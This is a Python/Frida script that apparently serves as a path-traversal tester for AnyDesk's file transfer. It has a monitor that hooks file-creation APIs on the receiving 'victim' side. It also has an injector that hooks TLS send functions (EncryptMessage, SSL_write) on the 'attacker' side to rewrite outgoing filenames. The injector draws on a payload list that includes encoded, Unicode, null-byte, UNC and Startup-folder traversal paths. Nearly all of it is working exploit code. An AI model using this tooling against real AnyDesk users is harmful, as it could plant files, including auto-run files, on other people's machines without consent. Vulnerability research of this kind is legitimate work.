""" AnyDesk File Transfer Path Traversal Tester Hooks the receiving side's file write operations and tests if AnyDesk sanitizes filenames from the sender. Also hooks the sending side to inject traversal paths into outgoing file transfer data. PHASE 1: Run on VICTIM (receiving side) - monitors where files get written PHASE 2: Run on ATTACKER (sending side) - injects traversal paths into protocol Usage: python 03_traversal.py --phase monitor (run on victim, then transfer a file) python 03_traversal.py --phase inject (run on attacker, then transfer a file) """ import frida import sys import os import json import time import argparse from datetime import datetime # ============================================================ # Phase 1: Monitor Agent — runs on the RECEIVING (victim) side # Logs every file creation to see where AnyDesk writes files # ============================================================ MONITOR_AGENT = r""" 'use strict'; const watchPaths = []; let fileOps = []; // Hook CreateFileW to see ALL file creations const CreateFileW = Module.findExportByName('kernel32.dll', 'CreateFileW'); const CreateDirectoryW = Module.findExportByName('kernel32.dll', 'CreateDirectoryW'); const MoveFileW = Module.findExportByName('kernel32.dll', 'MoveFileW'); const MoveFileExW = Module.findExportByName('kernel32.dll', 'MoveFileExW'); const CopyFileW = Module.findExportByName('kernel32.dll', 'CopyFileW'); // Filter noise: only log paths that might be user files or interesting function isInteresting(path) { if (!path) return false; const p = path.toLowerCase(); // Skip system noise if (p.includes('\\device\\')) return false; if (p.includes('\\pipe\\')) return false; if (p.includes('\\windows\\system32\\')) return false; if (p.includes('\\windows\\syswow64\\')) return false; if (p.includes('\\appdata\\local\\temp\\') && p.includes('anydesk')) return true; // AnyDesk temp files are interesting if (p.includes('anydesk')) return true; // User profile paths if (p.includes('\\users\\')) return true; if (p.includes('\\desktop\\')) return true; if (p.includes('\\downloads\\')) return true; if (p.includes('\\documents\\')) return true; if (p.includes('\\startup\\')) return true; // Traversal indicators if (p.includes('..')) return true; return false; } function checkTraversal(path) { const flags = []; if (path.includes('..\\')) flags.push('BACKSLASH_TRAVERSAL'); if (path.includes('../')) flags.push('FORWARDSLASH_TRAVERSAL'); if (path.includes('..%5c')) flags.push('ENCODED_TRAVERSAL'); if (path.includes('..%2f')) flags.push('ENCODED_TRAVERSAL'); if (path.toLowerCase().includes('startup')) flags.push('STARTUP_FOLDER'); if (path.toLowerCase().includes('start menu')) flags.push('START_MENU'); return flags; } if (CreateFileW) { Interceptor.attach(CreateFileW, { onEnter(args) { const path = args[0].readUtf16String(); if (isInteresting(path)) { const traversalFlags = checkTraversal(path); const access = args[1].toInt32(); const disposition = args[4].toInt32(); // GENERIC_WRITE or CREATE_ALWAYS/CREATE_NEW/OPEN_ALWAYS const isWrite = (access & 0x40000000) !== 0 || (access & 0x00000002) !== 0; // FILE_WRITE_DATA const isCreate = disposition === 1 || disposition === 2 || disposition === 4; // CREATE_NEW, CREATE_ALWAYS, OPEN_ALWAYS const op = { type: 'CreateFileW', path: path, isWrite: isWrite, isCreate: isCreate, access: '0x' + (access >>> 0).toString(16), disposition: disposition, traversalFlags: traversalFlags, timestamp: Date.now(), stack: Thread.backtrace(this.context, Backtracer.ACCURATE) .map(DebugSymbol.fromAddress).join('\n') }; send({type: 'file_op', data: op}); if (traversalFlags.length > 0) { send({type: 'alert', msg: `TRAVERSAL DETECTED: ${path}`, flags: traversalFlags}); } if (isWrite && isCreate) { send({type: 'file_create', path: path, traversalFlags: traversalFlags}); } } } }); } if (MoveFileW) { Interceptor.attach(MoveFileW, { onEnter(args) { const src = args[0].readUtf16String(); const dst = args[1].readUtf16String(); send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()}); } }); } if (MoveFileExW) { Interceptor.attach(MoveFileExW, { onEnter(args) { const src = args[0].readUtf16String(); const dst = args[1].readUtf16String(); send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()}); } }); } if (CopyFileW) { Interceptor.attach(CopyFileW, { onEnter(args) { const src = args[0].readUtf16String(); const dst = args[1].readUtf16String(); send({type: 'file_copy', src: src, dst: dst, timestamp: Date.now()}); } }); } if (CreateDirectoryW) { Interceptor.attach(CreateDirectoryW, { onEnter(args) { const path = args[0].readUtf16String(); if (isInteresting(path)) { send({type: 'dir_create', path: path, timestamp: Date.now()}); } } }); } send({type: 'status', msg: 'File monitor active. Transfer a file via AnyDesk now...'}); send({type: 'ready'}); """; # ============================================================ # Phase 2: Inject Agent — runs on the SENDING (attacker) side # Hooks TLS send to find and replace filenames with traversal paths # ============================================================ INJECT_AGENT = r""" 'use strict'; const TRAVERSAL_PAYLOADS = %PAYLOADS%; let currentPayloadIdx = 0; let injectionCount = 0; // The filename we're looking for (set by Python controller) const TARGET_FILENAME = '%TARGET_FILENAME%'; const TARGET_FILENAME_WIDE = '%TARGET_FILENAME%'; // Will search for both UTF-8 and UTF-16 function findAndReplace(buf, searchStr, replaceStr) { const arr = new Uint8Array(buf); // Search for UTF-8 string const searchBytes = []; for (let i = 0; i < searchStr.length; i++) { searchBytes.push(searchStr.charCodeAt(i)); } // Search for UTF-16LE string const searchBytesWide = []; for (let i = 0; i < searchStr.length; i++) { searchBytesWide.push(searchStr.charCodeAt(i)); searchBytesWide.push(0); } let found = false; // Try UTF-8 for (let i = 0; i <= arr.length - searchBytes.length; i++) { let match = true; for (let j = 0; j < searchBytes.length; j++) { if (arr[i + j] !== searchBytes[j]) { match = false; break; } } if (match) { send({type: 'injection', encoding: 'UTF-8', offset: i, original: searchStr, replacement: replaceStr}); // Replace with traversal payload (UTF-8) const replaceBytes = []; for (let k = 0; k < replaceStr.length; k++) { replaceBytes.push(replaceStr.charCodeAt(k)); } // Pad with nulls if replacement is shorter for (let k = 0; k < searchBytes.length; k++) { arr[i + k] = k < replaceBytes.length ? replaceBytes[k] : 0; } found = true; break; } } // Try UTF-16LE if (!found) { for (let i = 0; i <= arr.length - searchBytesWide.length; i++) { let match = true; for (let j = 0; j < searchBytesWide.length; j++) { if (arr[i + j] !== searchBytesWide[j]) { match = false; break; } } if (match) { send({type: 'injection', encoding: 'UTF-16LE', offset: i, original: searchStr, replacement: replaceStr}); // Replace with traversal payload (UTF-16LE) const replaceBytesWide = []; for (let k = 0; k < replaceStr.length; k++) { replaceBytesWide.push(replaceStr.charCodeAt(k)); replaceBytesWide.push(0); } for (let k = 0; k < searchBytesWide.length; k++) { arr[i + k] = k < replaceBytesWide.length ? replaceBytesWide[k] : 0; } found = true; break; } } } return found; } // Hook EncryptMessage (SChannel) — modify data BEFORE encryption const EncryptMessage = Module.findExportByName('sspicli.dll', 'EncryptMessage') || Module.findExportByName('secur32.dll', 'EncryptMessage'); if (EncryptMessage) { Interceptor.attach(EncryptMessage, { onEnter(args) { const pBufDesc = args[2]; try { const cBuffers = pBufDesc.add(4).readU32(); const pBuffers = pBufDesc.add(8).readPointer(); for (let i = 0; i < cBuffers; i++) { const bufPtr = pBuffers.add(i * 16); const cbBuffer = bufPtr.readU32(); const bufType = bufPtr.add(4).readU32(); const pvBuffer = bufPtr.add(8).readPointer(); if (bufType === 1 && cbBuffer > 0 && cbBuffer < 1024 * 1024) { const data = pvBuffer.readByteArray(cbBuffer); const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length]; if (findAndReplace(data, TARGET_FILENAME, payload)) { pvBuffer.writeByteArray(data); injectionCount++; currentPayloadIdx++; send({type: 'injected', count: injectionCount, payload: payload}); } } } } catch(e) {} } }); send({type: 'status', msg: 'Hooked EncryptMessage for injection (SChannel)'}); } // Also try OpenSSL hooks const mods = Process.enumerateModules(); for (const m of mods) { if (m.name.toLowerCase().includes('ssl') || m.name.toLowerCase().includes('crypto')) { try { const exports = m.enumerateExports(); for (const exp of exports) { if (exp.name === 'SSL_write') { Interceptor.attach(exp.address, { onEnter(args) { const buf = args[1]; const len = args[2].toInt32(); if (len > 0 && len < 1024 * 1024) { const data = buf.readByteArray(len); const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length]; if (findAndReplace(data, TARGET_FILENAME, payload)) { buf.writeByteArray(data); injectionCount++; currentPayloadIdx++; send({type: 'injected', count: injectionCount, payload: payload}); } } } }); send({type: 'status', msg: `Hooked ${exp.name} for injection (OpenSSL)`}); } } } catch(e) {} } } send({type: 'status', msg: `Injection armed. Target filename: "${TARGET_FILENAME}"`}); send({type: 'status', msg: `${TRAVERSAL_PAYLOADS.length} traversal payloads loaded. Send a file transfer now...`}); send({type: 'ready'}); """; # Traversal payloads to test TRAVERSAL_PAYLOADS = [ # Basic backslash traversal "..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test.txt", # Forward slash "../../../../Users/Public/Desktop/traversal_test2.txt", # Mixed separators "..\\..\\..\\..\\Users/Public/Desktop/traversal_test3.txt", # Startup folder (would execute on reboot) "..\\..\\..\\..\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.txt", # Double encoding "..%5c..%5c..%5c..%5cUsers%5cPublic%5cDesktop%5ctraversal_test4.txt", # Unicode fullwidth backslash (U+FF3C) "..\uff3c..\uff3c..\uff3c..\uff3cUsers\uff3cPublic\uff3cDesktop\uff3ctraversal_test5.txt", # Null byte truncation "..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test6.txt\x00ignored.png", # Long path "..\\..\\..\\..\\..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_deep.txt", # UNC path "\\\\localhost\\C$\\Users\\Public\\Desktop\\traversal_unc.txt", # Dot-dot with extra dots "...\\...\\...\\Users\\Public\\Desktop\\traversal_dots.txt", ] def on_message_monitor(message, data): if message['type'] == 'send': payload = message['payload'] msg_type = payload.get('type', '') if msg_type == 'status': print(f" [*] {payload['msg']}") elif msg_type == 'ready': on_message_monitor.ready = True elif msg_type == 'file_op': d = payload['data'] marker = '' if d['isWrite'] and d['isCreate']: marker = ' [WRITE+CREATE]' if d['traversalFlags']: marker += f' [!!!TRAVERSAL: {",".join(d["traversalFlags"])}!!!]' print(f" [FILE] {d['type']}: {d['path']}{marker}") if d.get('stack'): # Show first 3 frames frames = d['stack'].split('\n')[:3] for f in frames: print(f" {f}") elif msg_type == 'file_create': flags = payload.get('traversalFlags', []) marker = f' [!!!{"·".join(flags)}!!!]' if flags else '' print(f" [+FILE CREATED] {payload['path']}{marker}") elif msg_type == 'file_move': print(f" [MOVE] {payload['src']} -> {payload['dst']}") elif msg_type == 'file_copy': print(f" [COPY] {payload['src']} -> {payload['dst']}") elif msg_type == 'dir_create': print(f" [MKDIR] {payload['path']}") elif msg_type == 'alert': print(f"\n {'!'*60}") print(f" [!!!] ALERT: {payload['msg']}") print(f" [!!!] Flags: {payload['flags']}") print(f" {'!'*60}\n") elif message['type'] == 'error': print(f" [!] ERROR: {message['description']}") on_message_monitor.ready = False def on_message_inject(message, data): if message['type'] == 'send': payload = message['payload'] msg_type = payload.get('type', '') if msg_type == 'status': print(f" [*] {payload['msg']}") elif msg_type == 'ready': on_message_inject.ready = True elif msg_type == 'injection': print(f" [FOUND] Filename at offset {payload['offset']} ({payload['encoding']})") print(f" Original: {payload['original']}") print(f" Replacement: {payload['replacement']}") elif msg_type == 'injected': print(f" [INJECTED #{payload['count']}] {payload['payload']}") elif message['type'] == 'error': print(f" [!] ERROR: {message['description']}") on_message_inject.ready = False def find_anydesk_pid(): import subprocess try: output = subprocess.check_output( ['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'], text=True, stderr=subprocess.DEVNULL ) for line in output.strip().split('\n'): if 'AnyDesk' in line: parts = line.strip().strip('"').split('","') if len(parts) >= 2: return int(parts[1].strip('"')) except: pass return None def main(): parser = argparse.ArgumentParser(description='AnyDesk File Transfer Path Traversal Tester') parser.add_argument('--phase', choices=['monitor', 'inject'], required=True, help='monitor=watch file writes on victim, inject=modify filenames on attacker') parser.add_argument('--filename', default='traversal_probe.txt', help='Filename to search for and replace (for inject phase)') args = parser.parse_args() print("=" * 60) print(f" AnyDesk Path Traversal Tester — Phase: {args.phase.upper()}") print("=" * 60) pid = find_anydesk_pid() if not pid: print("[!] AnyDesk.exe not found.") sys.exit(1) print(f"[+] Found AnyDesk.exe (PID: {pid})") try: session = frida.attach(pid) except Exception as e: print(f"[!] Frida attach failed: {e}") print("[!] Run as Administrator.") sys.exit(1) if args.phase == 'monitor': print("[+] Monitoring file operations...") print("[+] Transfer a file via AnyDesk to this machine to see where it lands") script = session.create_script(MONITOR_AGENT, runtime='v8') script.on('message', on_message_monitor) script.load() for _ in range(100): if on_message_monitor.ready: break time.sleep(0.1) print(f"\n{'=' * 60}") print(" MONITORING — send a file to this AnyDesk instance now") print(" Press Ctrl+C to stop") print(f"{'=' * 60}\n") elif args.phase == 'inject': print(f"[+] Injection mode — target filename: '{args.filename}'") print(f"[+] Create a file named '{args.filename}' and transfer it via AnyDesk") payloads_json = json.dumps(TRAVERSAL_PAYLOADS) agent_code = INJECT_AGENT.replace('%PAYLOADS%', payloads_json) agent_code = agent_code.replace('%TARGET_FILENAME%', args.filename) script = session.create_script(agent_code, runtime='v8') script.on('message', on_message_inject) script.load() for _ in range(100): if on_message_inject.ready: break time.sleep(0.1) print(f"\n{'=' * 60}") print(f" INJECTION ARMED — send '{args.filename}' via AnyDesk file transfer") print(" Press Ctrl+C to stop") print(f"{'=' * 60}\n") try: while True: time.sleep(0.1) except KeyboardInterrupt: print("\n[+] Stopped.") session.detach() if __name__ == '__main__': main()